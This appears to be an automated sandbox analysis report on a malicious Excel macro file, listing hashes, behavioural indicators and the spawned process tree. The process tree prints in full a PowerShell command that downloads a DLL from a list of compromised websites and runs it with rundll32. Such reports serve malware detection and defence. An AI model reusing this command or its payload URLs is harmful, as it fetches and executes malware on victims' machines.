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24/11/2021, 17:59
211124-wk8rgsddbm 1022/11/2021, 14:46
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211117-hdnk3seedn 10Analysis
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max time kernel
88s -
max time network
83s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
22/11/2021, 14:15
Static task
static1
Behavioral task
behavioral1
Sample
865663204559_17_Nov_2021.xlsm
Resource
win10-en-20211014
General
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Target
865663204559_17_Nov_2021.xlsm
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Size
44KB
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MD5
477fd718bb764ffe3c5afde16c6c8dd2
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SHA1
eb932e19d95f88d64270d40cdc0b92c6d1cf63be
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SHA256
ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3
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SHA512
f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3184 2720 cmd.exe 67 -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\eventvwr.msc mmc.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2720 EXCEL.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 400 mmc.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeSecurityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: SeSecurityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe Token: 33 400 mmc.exe Token: SeIncBasePriorityPrivilege 400 mmc.exe -
Suspicious use of SetWindowsHookEx 26 IoCs
pid Process 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 400 mmc.exe 400 mmc.exe 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE 2720 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2720 wrote to memory of 3184 2720 EXCEL.EXE 72 PID 2720 wrote to memory of 3184 2720 EXCEL.EXE 72 PID 3184 wrote to memory of 1268 3184 cmd.exe 74 PID 3184 wrote to memory of 1268 3184 cmd.exe 74
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\865663204559_17_Nov_2021.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3184 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj3⤵PID:1268
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C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc" /s1⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:400